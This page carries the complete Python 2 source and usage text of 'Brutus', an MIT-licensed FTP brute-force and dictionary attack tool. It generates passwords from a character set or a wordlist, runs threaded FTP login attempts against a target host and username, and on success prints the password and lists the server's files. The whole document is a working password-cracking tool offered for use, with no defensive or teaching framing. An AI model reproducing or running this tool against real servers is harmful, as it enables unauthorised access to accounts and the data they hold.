Brutus - a python FTP brute-force and dictionary attack tool.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | usage: brutus.py [-h] [-w WORDLIST] [-c CHARSET] [-l [LENGTH]] [-m [MINLENGTH]] [-r PREFIX] [-o POSTFIX] [-p [PAUSE]] [-t [THREADS]] [-v [VERBOSE]] host username positional arguments: host FTP host username username to crack optional arguments: -h, --help show this help message and exit -w WORDLIST, --wordlist WORDLIST wordlist of passwords -c CHARSET, --charset CHARSET character set for brute-force -l [LENGTH], --length [LENGTH] password length for brute-force -m [MINLENGTH], --minlength [MINLENGTH] Minimum password length -r PREFIX, --prefix PREFIX prefix each password for brute-force -o POSTFIX, --postfix POSTFIX postfix each password for brute-force -p [PAUSE], --pause [PAUSE] pause time between launching threads -t [THREADS], --threads [THREADS] num of threads -v [VERBOSE], --verbose [VERBOSE] verbose output |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 | ################################################################################ # tool: Brutus - FTP Brute-Force/Dictionary Attack Tool # version: 0.3 # email: mrh@hackhappy.org # www: hackhappy.org/brutus/ ################################################################################ # MIT License # Copyright (c) 2017 Phillip Aaron # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal# # in the Software without restriction, including without limitation the rights# # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell# # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import argparse, sys, threading, time from datetime import datetime from itertools import chain, product from ftplib import FTP # Create some global variables class glob: pwd = False # Used for stopping attack when password found chrset = "" # Character set for brute-force prefix = "" # Prefix string postfix = "" # Postfix string length = 8 # Default lenth of password minlength = 5 # Default min length of password thrds = 10 # Defualt num of threads verb = False # Default value for verbose output pause = 0.01 # Default throttle time, 1 = one second cnt = 0 # Counting number of attempts # Iterable Method for brute-forcing a character set and length def bruteforce(charset, maxlength, minlength): return (''.join(candidate) for candidate in chain.from_iterable(product(charset, repeat=i) for i in range(minlength, maxlength + 1))) # Method for making ftp connections def crack(host, user, pwd): try: if glob.verb: # Check for verbose output print "[" + str(glob.cnt) + "] Trying: " + pwd.strip() ftp = FTP(host) # Create FTP object if ftp.login (user, pwd): # Check if true print "\nPassword for " + user + ": " + pwd.strip() print "==================================================" glob.pwd = True # Set global value print ftp.dir() # Display contents of root FTP ftp.quit() # Disconnect from FTP except Exception as err: pass # Ignore errors # Method wait for threads to complete def wait(threads): for thread in threads: thread.join() # Method for staging attack def main(args): try: start = datetime.now() # Time attack started print "\nAttacking FTP user [" + args.username + "] at [" + args.host + "]" print "==================================================" thrdCnt = 0;threads = [] # Local variables # Set global variables if args.pause:glob.pause = float(args.pause) if args.verbose:glob.verb = True if args.threads:glob.thrds = int(args.threads) if args.length:glob.length = int(args.length) if args.minlength:glob.minlength = int(args.minlength) if args.charset:glob.chrset = args.charset if args.prefix:glob.prefix = args.prefix if args.postfix:glob.postfix = args.postfix if args.charset == None: # Create charset from printable ascii range for char in range(37,127):glob.chrset += chr(char) # Brute force attack if args.wordlist == None: for pwd in bruteforce(glob.chrset, int(glob.length),int(glob.minlength)): # Launch brute-force if glob.pwd: break # Stop if password found if thrdCnt != args.threads: # Create threads until args.threads if args.prefix: pwd = str(args.prefix) + pwd if args.postfix: pwd += str(args.postfix) thread = threading.Thread(target=crack, args=(args.host,args.username,pwd,)) thread.start() threads.append(thread) thrdCnt += 1;glob.cnt+=1 time.sleep(glob.pause) # Set pause time else: # Wait for threads to complete wait(threads) thrdCnt = 0 threads = [] # Dictionary attack else: with open(args.wordlist) as fle: # Open wordlist for pwd in fle: # Loop through passwords if glob.pwd: break # Stop if password found if thrdCnt != args.threads: # Create threads until args.threads thread = threading.Thread(target=crack, args=(args.host,args.username,pwd,)) thread.start() threads.append(thread) thrdCnt +=1;glob.cnt+=1 time.sleep(glob.pause) # Set pause time else: wait(threads) # Wait for threads to complete thrdCnt = 0 threads = [] except KeyboardInterrupt: print "\nUser Cancelled Attack, stopping remaining threads....." wait(threads) # Wait for threads to complete sys.exit(0) # Kill app wait(threads) # Wait for threads to complete stop = datetime.now() print "==================================================" print "Attack Duration: " + str(stop - start) print "Attempts: " + str(glob.cnt) + "\n" if __name__ == "__main__": # Declare an argparse variable to handle application command line arguments parser = argparse.ArgumentParser() parser.add_argument("host", action="store", help="FTP host") parser.add_argument("username", action="store", help="username to crack") parser.add_argument("-w", "--wordlist", action="store", help="wordlist of passwords") parser.add_argument("-c", "--charset", action="store", help="character set for brute-force") parser.add_argument("-l", "--length", action="store", help="password length for brute-force", nargs='?', default=8, const=8, type=int) parser.add_argument("-m","--minlength", action="store", nargs='?', default=1, const=1, help="Minimum password length", type=int) parser.add_argument("-r","--prefix", action="store", help="prefix each password for brute-force") parser.add_argument("-o","--postfix", action="store", help="postfix each password for brute-force") parser.add_argument("-p", "--pause", action="store", help="pause time between launching threads", nargs='?', default=0.01, const=0.01) parser.add_argument("-t", "--threads", action="store", help="num of threads", nargs='?', default=10, const=10, type=int) parser.add_argument("-v", "--verbose", action="store", help="verbose output", nargs='?', default=False, const=True) # Show help if required arg not included if len(sys.argv[1:])==0: parser.print_help() parser.exit() args = parser.parse_args() if args.minlength != None or args.length != None: if args.minlength > args.length: print "\n** Argument Logic Error **" print "Minimum password length [-m "+str(args.minlength)+"] is greater than Password length [-l "+str(args.length)+"]\n" parser.print_help() parser.exit() main(args) |
